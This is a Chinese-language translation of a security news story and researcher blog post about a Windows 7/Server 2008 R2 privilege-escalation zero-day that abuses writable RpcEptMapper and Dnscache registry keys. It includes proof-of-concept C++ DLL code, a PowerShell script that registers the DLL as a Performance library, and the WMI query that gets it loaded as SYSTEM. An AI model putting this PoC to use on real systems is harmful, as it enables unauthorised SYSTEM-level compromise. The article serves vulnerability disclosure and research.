聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

法国安全研究员 Clément Labro在更新一款 Windows 安全工具时,偶然发现一个影响 Windows 7 和 Windows Server 2008 R2 操作系统的 0day。从“漏洞详情”部分开始的内容节选自 Labro 的博客文章。

一、漏洞概述

该0day 位于两个配置不当的 RPC Endpoint Mapper 和 DNSCache 服务的注册表键值中,它们是所有 Windows 安装程序的一部分:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

  • HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

Clément Labro 表示,在易受攻击系统上立稳脚跟的攻击者能够修改这些注册表键值,激活通常由 Windows 性能监控 (Performance Monitoring) 机制应用的一个子键值。

“Performance“子键值通常用于监控一款 app 的性能,而且,它们的角色使得开发人员可以加载自己的 DLL 文件,从而使用自定义工具来追踪性能情况。

在最近发布的 Windows 版本中,这些 DLL 通常是受限的,而且权限有限。Labro 表示在 Windows 7 和 Windows Server 2008 上,仍然可以加载以系统权限运行的自定义 DLL。

但是,虽然多数安全研究员发现这类严重漏洞后会私下告知微软,但对于 Labro 的案例而言,已然来不及了。

Labro 表示他发布 PrivescCheck 的更新后发现了这个 0day。PrivescCheck 是一款用于检查常见 Windows 安全配置不当问题的工具,可被恶意软件滥用于提升权限。

该更新发布于上个月,Labro 增加了对提权技术的一些新的检查支持。

Labro 表示,更新发布几天后,当他开始调查出现在老旧系统如 Windows 7 上出现的一系列警告信息时,才了解到这些新检查发现了一种新的未修复的提权方法。但一切为时已晚,Labro 已无法将问题私下告知微软,而是选择在自己的博客站点上关闭了关于这一新方法的文章。

截至本文发布时,微软尚未就此事置评。

Windows 7 和 Windows Server 2008 R2 均已到达生命周期,微软已停止发布免费的安全更新。虽然 Windows 7 用户仍然可以通过微软的 ESU (延期支持更新)付费支持计划来应用安全更新,但补丁尚未正式发布。

目前尚不清楚微软是否计划修复 Labro 发现的这个新 0day;然而,ACROS Security 公司已发布微补丁,并已于今天早些时候发布。该微补丁是通过 0patch 安全软件安装的,以阻止恶意人员通过 ACROPS 的非官方补丁利用该漏洞。

微补丁地址:https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html

二、漏洞详情

上下文介绍

今年年初,我开始着手开发一个提权枚举脚本 PrivescCheck。这个想法源于著名的 PowerUp 工具实现的工作以及我实现的一些检查。我想通过这一脚本快速地枚举初因系统配置不当造成的潜在漏洞,但实际上它带来了意想不到的结果,它让我发现了位于 Windows 7/ Server 2008 R2 中的一个 0day。

在完全修复的 Windows 设备中,可导致本地提权后果的主要安全问题之一是服务配置不当。如果普通用户能够修改一个已有服务,那么他/她就能在 LOCAL/NETWORK SERVICE 甚至是 LOCAL SYSTEM 的上下文中执行任意代码。一些最常见的漏洞如下:

  • 服务控制管理器(SCM):低权限用户可通过 SCM 获得服务的具体权限。

  • 二进制权限:一般的 Windows 服务通常会有一个命令行。如果你能修改相应的可执行文件,那么你实际上就能在该服务的安全上下文中执行任意命令。

  • 未引用路径:该问题和 Windows 解析命令行的方式有关。

  • Phantom DLL 劫持:即使在 Windows 的默认安装程序下,某些内置服务也试图加载并不存在的 DLL,从而导致服务遭劫持。

PowerUp 目前已经对上述问题进行相应的检查,但还可能产生另外一个配置不当的情况:注册表。通常,当你创建服务时,会通过内置命令 sc.exe,以管理员省份调用 SCM。这样就可以服务的名义在 HKLM\SYSTEM\CurrentControlSet\Services中创建一个子键值,而所有的设置(命令行、用户等)都会保存在这个子键值中。因此,如果这些设置由 SCM 管理,那么它们默认应该是安全的。至少,我是这么以为的……

检查注册表权限

PowerUp 的一个核心函数是 Get-ModifiablePath。该函数的基本理念是提供一种检查当前用户是否可以以任何方式修改文件或文件夹的通用方法。它首先解析目标对象的 ACL,然而将其和通过所有它所属组的当前用户账户的权限进行对比。尽管这一原则原来是为文件和文件夹实现的,但注册表键值也是安全的对象。因此,我们可以实现一个类似函数,检查当前用户在注册表键上是否具有任何写权限。这就是我所做的,因此我增加了一个新的核心函数:Get-ModifiableRegistryPath。

之后,对可修改的相对应于 Windows 服务的注册表键执行检查:轻松如调用路径  Registry::HKLM\SYSTEM\CurrentControlSet\Services 上的 PowerShell 命令:Get-ChildItem。这一结果可被输送到新的命令 ModifiableRegistryPath 中,这就是全部的工作。

当我需要执行新的检查时,我会使用一台 Windows 10 设备,而且我也会使用同样的机器执行初次检查,查看一切是否如常工作。如果代码是稳定的,那么我会将测试延伸到其它的一些 Windows 虚拟机中,确保它仍然和 PowerShell v2 兼容以及它仍然可在老旧系统上运行。我最常使用的操作系统是 Windows 7、Windows 2008 R2 和 Windows Server 2012 R2。

当我在 Windows 10 默认安装下运行更新脚本时,它未返回任何结果,这正是我所期待的结果。但之后在 Windows 7 上运行后,我发现了如下情况:

由于我认为不会返回任何结果,因此刚开始以为这些结果是误报,我可能在执行过程中搞砸了一些内容。但在仔细观察结果后……

是误报吗?

从脚本的输出来看,当前用户在两个注册表键上具有一些写权限:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

  • HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

我们通过 regedit GUI 来手动检查下 RpcEptMapper 服务的权限。我最喜欢高级安全设置窗口的一点是它的 Effective Permissions 标签。你可以选择任何用户或组名称,无需分别检查所有的 ACE 就能看到所授予的有效权限。如下截图是低权限 lab-user 账户的结果。

虽然多数权限是标准权限,但有一个引起了我的注意 Create Subkey。该权限相对应的通用名称是 AppendData/AddSubdirectory,而这正是脚本所报告的:

Name              : RpcEptMapperImagePath         : C:\Windows\system32\svchost.exe -k RPCSSUser              : NT AUTHORITY\NetworkServiceModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}IdentityReference : NT AUTHORITY\Authenticated UsersPermissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}Status            : RunningUserCanStart      : TrueUserCanRestart    : FalseName              : RpcEptMapperImagePath         : C:\Windows\system32\svchost.exe -k RPCSSUser              : NT AUTHORITY\NetworkServiceModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}IdentityReference : BUILTIN\UsersPermissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}Status            : RunningUserCanStart      : TrueUserCanRestart    : False

这到底是什么意思?它意味着我们无法修改 ImagePath 值。为此,我们需要 WriteData/AddFile 权限。因此我们只能创建一个新的子键。

这意味着它真的是一个误报吗?当然不是。真正有趣的部分来了!

RTFM

此时,我们了解到我们可以在 HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper 下创建任意子键,但我们无法修改已有子键和值。这些已有的子键是 Parameters 和 Security,它们在 Windows 服务中很常见:

因此,我想到的第一个问题是:是否存在其它预定义子键如 Parameters 和 Security,供我们修改服务配置并以某种方式更改它的行为?

为回答这个问题,我的第一个计划是枚举所有的已有键值并试图找到一个模式。我的想法是查看哪些子键对于服务的配置是有意义的。我开始思考如何在 PowerShell 中实现这一点并得出结果。不过我首先想到的是这个注册表结果是否已经记录在案。于是我在谷歌上搜索了一些内容如 windows service configuration registry site:microsoft.com,得出的第一个结果是:

看起来有戏。第一眼扫过去,这个文档似乎并不详尽全面。从题目来看,我希望看到的是关于所有子键和值的详细的树状结构,定义服务的配置,但实际上并非如此。

不过我还是快速浏览了下每个段落。很快我发现了关键字 Performance 和 DLL。在子标题 Performance 下面的内容是:

Performance:这个表键知名可选性能监控信息。该表键下的值知名驱动性能DLL的名称以及DLL中所导出的某些函数的名称。你可使用驱动 INF 文件中的 AddReg 条目向这个子键添加值条目。

从这一小段中可知,从理论上来讲我们可以在驱动服务中注册一个 DLL,根据 Performance 子键来监控其性能。这就有意思了!在默认情况下,RpcEptMapper 服务中并不存在该键,因此看似它正是我们所需要的。不过有个小问题,该服务并非驱动服务。不管怎样,值得一试,不过首先需要关于这个“性能监控”的更多信息。

说明:在 Windows 中,每种服务都具有给定的 Type。服务类型可以是如下值中的一种:SERVICE_KERNEL_DRIVER (1)、SERVICE_FILE_SYSTEM_DRIVER (2)、SERVICE_ADAPTER (4)、SERVICE_RECOGNIZER_DRIVER (8)、SERVICE_WIN32_OWN_PROCESS (16)、SERVICE_WIN32_SHARE_PROCESS (32) 或 SERVICE_INTERACTIVE_PROCESS (256)。

在谷歌上搜索后,我在文档中发现了相关资源:

(文档地址:https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)

首先,文档给出了一个很好的树状结构,列出了所有我们需要创建的键值。之后,描述中还给出了如下表键信息:

  • Library 值可包含一个 DLL 名称或 DLL 的完整路径。

  • Open、Collect 和 Close 值允许你指定应由 DLL 导出的函数的名称。

  • 这些值的数据类型是 REG_SZ(或者 Library 值甚至是 REG_EXPAND_SZ)。

如果打开文内链接,你甚至会找到这些函数的原型以及一些代码样本:

(Implementing OpenPerformanceData: https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata)

DWORD APIENTRY OpenPerfData(LPWSTR pContext);DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);DWORD APIENTRY ClosePerfData();

好了,理论上的准备足够了,写代码的时间到了!

三、PoC

写一个 PoC

感谢整个文档所提供的所有所需信息,写一个简单的 PoC DLL 应该。但我们仍然需要一个计划!

当我需要利用某种 DLL 劫持漏洞时,通常会以一个简单和自定义的日志帮助函数。整个函数的目的是,在引用文件时在文件中写入某些关键信息。一般而言,我记录当前进程的 PID 以及父进程、运行进程和相对应命令行的用户名称。我还记录了触发该日志事件的函数名称。这样我就能直到代码是如何执行的。

我在其它文章中,总是跳过开发部分,因为我认为多多少少是明显可知的。但是为了表现对入门者的友好,又与上述说法是矛盾的。于是我总会通过对进程的详述进行弥补。所以,我们首先打开 Visual Studio 并创建一个新的 “C++ Console APP” 项目。注意,我本可以创建一个 “Dynamic-Link Library (DLL)” 项目,但我发现从控制台 app 开始实际上更容易。

如下是由 Visual Studio 生成的初始代码:

#include int main(){    std::cout << "Hello World!\n";}

当然,这并非我们想要的。我们想要创建一个 DLL 而非 EXE,因此我们必须用 DllMain 来替代 main 函数。我们可从文档中找到该函数的大概代码:(文档:Initialize a  DLL https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior?view=msvc-160#initialize-a-dll)

#include extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){    switch (reason)    {    case DLL_PROCESS_ATTACH:        Log(L"DllMain"); // See log helper function below        break;    case DLL_THREAD_ATTACH:        break;    case DLL_THREAD_DETACH:        break;    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

与此同时,我们还需要修改该项目的设置,规定输出的编译文件应该是 DLL 而非 EXE。为此,你可以打开项目属性,并在“General” 部分,选择 “Dynamic Library (.dll)” 作为”Configuration Type”。在标题栏下,你可以选择“ All Configurations” 和 “All Platforms”,将这个设置应用到全局。

接着,我添加了自定义的日志帮助函数:

#include  // UNLEN + GetUserName#include  // CreateToolhelp32Snapshot()#include void Log(LPCWSTR pwszCallingFrom){    LPWSTR pwszBuffer, pwszCommandLine;    WCHAR wszUsername[UNLEN + 1] = { 0 };    SYSTEMTIME st = { 0 };    HANDLE hToolhelpSnapshot;    PROCESSENTRY32 stProcessEntry = { 0 };    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;    BOOL bResult = FALSE;    // Get the command line of the current process    pwszCommandLine = GetCommandLine();    // Get the name of the process owner    GetUserName(wszUsername, &dwPcbBuffer);    // Get the PID of the current process    dwProcessId = GetCurrentProcessId();    // Get the PID of the parent process    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {        do {            if (stProcessEntry.th32ProcessID == dwProcessId) {                dwParentProcessId = stProcessEntry.th32ParentProcessID;                break;            }        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));    }    CloseHandle(hToolhelpSnapshot);    // Get the current date and time    GetLocalTime(&st);    // Prepare the output string and log the result    dwBufSize = 4096 * sizeof(WCHAR);    pwszBuffer = (LPWSTR)malloc(dwBufSize);    if (pwszBuffer)    {        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",            st.wHour,            st.wMinute,            st.wSecond,            dwProcessId,            dwParentProcessId,            wszUsername,            pwszCommandLine,            pwszCallingFrom        );        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);        free(pwszBuffer);    }}

接着,我们可以用文档中看到的三个函数填充 DLL。文档还表示如成功,则应返回 ERROR_SUCCESS。

DWORD APIENTRY OpenPerfData(LPWSTR pContext){    Log(L"OpenPerfData");    return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){    Log(L"CollectPerfData");    return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){    Log(L"ClosePerfData");    return ERROR_SUCCESS;}

好了,项目已正确配置,执行了 DllMain,有了日志帮助函数以及三个所要求的函数。不过还差一件事。如果我们编译该代码,则 OpenPerfData、CollectPerfData 和 ClosePerfData 就会只成为内部函数,因此我们需要导出它们。我们可通过多种方式实现。例如,你可以创建一个 DEF 文件,之后正确地配置该项目。不过,我选择使用 _declspec(dllexport) 关键字,尤其是对于这种小项目而言更是如此。这样,我们只需要在源代码开头声明这三个函数即可。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

全部源代码可见:

https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12

最后,我们选择了 Release/x64 和 Build the solution。这样就可以生成 DLL 文件:

.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll

测试 PoC

进行下一步之前,我总是会先单独测试,确保 payload 正常工作。这里花点时间,后续会节约很多时间,不必在调试阶段手忙脚乱。为此,我们只需使用 rund1132.exe 并将 DLL 的名称和导出函数的名称传递为参数即可。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

不错,日志文件已创建。如果我们打开它,就能看到两个条目。当 DLL 由 rundll32.exe 加载时,第一个条目写入。当调用 OpenPerfData 时就会写入第二个。看起来不错!

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

现在我们可以集中于真正的漏洞了。首先开始创建所需注册表键值。可以手动使用 reg.exe/regedit.exe 完成,或者通过程序以脚本的方式完成。由于在初始研究时已经详述了手动步骤,因此这次将会通过一个 PowerShell 脚本完成。另外,在 PowerShell 中创建注册表键值和调用 New-Item 以及 New-ItemProperty 一样容易,不是吗?

Requested registry access is not allowed……好吧,看起来没那么容易。

我确实并没有调查这个问题,但我猜测是因为当我们调用 New-Item时,powershell.exe 实际上试图打开父注册表键,而我们并没有和权限相对应的它的某些标记。

不管怎样,如果内置 cmdlets不成功,那么我们可以降一个级别并直接调用 DotNet 函数。确实,也可以通过如下代码在PowerShell 中创建注册表键:

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")

终于!最后,我把如下脚本连在一起,创建正确的表键和值,等待某些用户输入并通过清空最终终止。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"Write-Host "[*] Create 'Performance' subkey"[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)Write-Host "[*] Create 'Library' value"New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-NullWrite-Host "[*] Create 'Open' value"New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-NullWrite-Host "[*] Create 'Collect' value"New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-NullWrite-Host "[*] Create 'Close' value"New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-NullRead-Host -Prompt "Press any key to continue"Write-Host "[*] Cleanup"Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -ForceRemove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -ForceRemove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -ForceRemove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

现在是最后一步了,如何诱骗 RPC Endpoint Mapper 服务加载我们的 Performance DLL 呢?遗憾的是,我们并未一直追踪所尝试的一切不同的内容。本文说明了有时候研究是多么繁复耗时。我发现我们可以通过 WMI (Windows Management Instrumentation) 查询 Performance Counters,不过这也没什么稀奇的。更多信息可见 WMI Performance Counter Types (https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types)

计数器类型在Win32_PerfRawData类中显示为属性的CounterType限定符,在Win32_PerfFormattedData类中显示为属性的CookingType限定符。

于是,我首先通过如下命令在 PowerShell 中枚举了和 Performance Data 相关的 WMI 类。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

并且,我发现日志文件几乎马上就创建了!如下是文件内容。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

我所期待的是,最多再 RpcEptMapper 服务的上下文中以 NETWORK SERVICE 身份执行任意代码,但现在得到的结果似乎更好。我实际上在 WMI 服务本身上下文中执行任意代码,它以本地系统权限运行。好酷,对不?!

说明:如果我以 NETWORK SERVICE 身份执行任意代码,那么通过 James Forshaw 在几个月前介绍的技术 (https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html),我离本地系统账户仅有一步之遥。

我还尝试分别获得每个 WMI 类,并得到了同样的结果。

Get-WmiObject Win32_PerfGet-WmiObject Win32_PerfRawDataGet-WmiObject Win32_PerfFormattedData

四、结论

我不清楚为何在这么长的时间里,这个漏洞也未被发现。一种解释是其它工具很可能在注册表中查找的是完整的写权限,而 AppendData/AddSubdirectory 在本案例中就足够了。关于“配置不当“本身,我认为该注册表键设置为这种方式是有原因的,尽管我想不到某种具体的场景,其中用户具有修改服务配置的任何权限。

我决定公开这个漏洞的原因有二。第一,我实际上是在不知情的情况下公开的,几个月前的那天我通过 GetModfiableRegistryPath 函数更新 PrivescCheck 脚本时实际上已经公开了。第二,它的影响较低。它要求获得本地访问权限,而且仅影响已不再受支持的 Windows 老旧版本(除非你购买了延期服务才可接收到支持)。如果你没有在网络中正确隔离 Windows 7/ Server 2008 R2 就使用它们,那么阻止攻击者获得系统权限可能是你最不会担心的事情。

除了发现这个提权漏洞的偶然性外,我认为这个 Performance 注册表仍然为利用后、横向移动和 AV/EDR 逃避提供了非常好的机会。我脑海中实际上已经出现了一些特定的场景,不过尚未进行测试。或许,期待后续吧……

参考链接和资源

  • GitHub - PrivescCheck
    https://github.com/itm4n/PrivescCheck

  • GitHub - PowerUp
    https://github.com/HarmJ0y/PowerUp

  • Microsoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”
    https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

  • Microsoft - Creating the Application’s Performance Key
    https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key

推荐阅读已遭利用的微软0day CVE-2020-1464,原来是两年前的老相识微软补丁星期二修复120个漏洞,含2个已遭利用的 0day我发现了25个影响力达20多年的 Windows 0day,微软刚修完11个微软3月补丁星期二最值得注意的是CVE-2020-0684和神秘0day CVE-2020-0796微软2月修复99个漏洞,含1个 0day原文链接

https://www.zdnet.com/article/security-researcher-accidentally-discloses-windows-7-and-windows-server-2008-zero-day/

https://itm4n.github.io/windows-registry-rpceptmapper-eop/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

windows2008r2补丁_我偶然发现一个严重 0day,影响 Win7 和 Server 2008 R2,微软未发补丁(详情)...相关推荐

  1. SQL SERVER 2008 R2的累计补丁下载地址

    今天在微软官方网站上看到了SQL SERVER2008 R2的4个累计补丁包,下载地址是: http://support.microsoft.com/kb/981356/zh-cn 或者参考: QL ...

  2. Windows Server 2008 R2 安装SP1补丁出错(0x800f0818)

    需求: 负责的一台Windows Server 2008 R2报出安全风险,需要安装相应的补丁,但是补丁版本只有针对sp1的版本,需要首先安装sp1补丁 实现计划: 1.先将操作系统安装sp1补丁: ...

  3. Windows Server 2008 R2 SP1升级补丁

    补丁包下载地址: 下载:网页下载地址,推荐使用迅雷或其他下载工具,网页打开报错 百度网盘:链接: https://pan.baidu.com/s/1iQYfZBrYwHBVCYc4sk0Qrw?pwd ...

  4. 让Windows Server 2008 R2 SP1 的“网络发现”真正能发现和被发现

    Vasta没怎么用过,不知道有没有"网络发现"一说,但Win7是有的,微软给它的定义为:网络发现是一种网络设置,该设置会影响您的计算机是否可以找到网络上的其他计算机和设备,以及网络 ...

  5. 统一沟通_边缘安装及配置之十七_(Windows Server 2008 R2 SP1英文版)

    接上一章 <统一沟通_内部访问测试与OUTLOOK之十六>! 在这章中,我们学习统一沟通_边缘安装及配置! 1.逻辑思路! (1).安装好操作系统,计算机名称命令! (2).将边缘服务器名 ...

  6. 服务器操作系统win2008如何打补丁,如何安装win server 2008 r2 sp1补丁?

    如何安装win server 2008 r2 sp1补丁? win server 2008是许多企业都会运行的服务器操作系统,但是许多技术人员对它并不是很熟悉.还有,如何安装win server 20 ...

  7. Windows server 2012 R2 部署WSUS补丁服务

    Windows server 2012 R2 部署WSUS补丁服务 来源于网络转载:  一.WSUS 安装要求 1.硬件要求: 对于多达 13000 个客户端的服务器,建议使用以下硬件: * 4 Co ...

  8. dns域名解析过程_域名解析怎样工作,Windows server 2008 R2如何安装DNS服务器

    首先简单介绍DNS,DNS(Domain Name System)是"域名系统"的英文缩写,用来为TCP/IP网络提供将主机名或域名转换为IP地址的服务.举例来说,如果要访问域名m ...

  9. 菜单自定义图标_操作系统任务栏了解多少,Windows server 2008 R2自定义通知区域...

    登录Windows server 2008 R2操作系统后,展现在小伙伴们面前的就是桌面,我们完成的各种操作都是在桌面上进行的.那么小伙伴们对此了解多少呢?它包括桌面背景.桌面图标.[开始]按钮和[任 ...

最新文章

  1. 在CentOS 6.9 64bit上安装jdk1.8
  2. rocktmq 消息延时清空_使用Kotlin+RocketMQ实现延时消息的示例代码
  3. SHELL syntax error:unexpected end of file 提示错误
  4. centos 开发php扩展,【PHP扩展】centos给PHP安装扩展
  5. Java 多线程(三) 线程的生命周期及优先级
  6. duilib学习领悟(2)
  7. Web后端学习笔记 Flask (14)redis
  8. 一个树杈y图片_鬼脸纹:黄花梨树上一个树杈,反映到主干上时,会形成一个疖痕...
  9. Fiddler抓包工具之详细使用步骤(超详细)
  10. matlab画图分区_matlab 经典作图
  11. Vue+ bootStrap 实现员的增删改查 离职操作 全选单选
  12. 机械臂速成小指南(一):机械臂发展概况
  13. JAVANBA论坛系统计算机毕业设计Mybatis+系统+数据库+调试部署
  14. 回归分析结果表格怎么填_excel回归分析结果解读
  15. Python制作桑基图
  16. Arbitrum上首个跨链互操应用开启空投计划!
  17. SQL语句多表查询:【多表连查】和【子查询】
  18. [转] 懒惰、急躁和傲慢 (Laziness, Impatience and hubris)
  19. tg测试软件,TG Pro for mac(硬件温度检测工具)
  20. EasyExcel使用的正确姿势,工具类封装

热门文章

  1. 论文解读 | 智能数据库的最新动态
  2. 周三晚八点直播丨如何通过APEX 实现自动化运维
  3. 汇总丨MySQL GTID技术点,看这一篇就够了!
  4. 资源丨MySQL故障排查思路方法PPT视频24问答
  5. 链家大数据多维分析引擎实践
  6. 内存总是不够?HBaseGeoMesa配置优化了解一下
  7. 【华为云技术分享】干货!!卷积神经网络之LeNet-5迁移实践案例
  8. 【华为云技术分享】为什么说物联网平台是城市数字化的必备底座
  9. 【华为云技术分享】直播回顾丨激发数据裂变新动能,HDC.Cloud云数据库前沿技术解读
  10. 【华为云分享】应用系统迁移华为云评估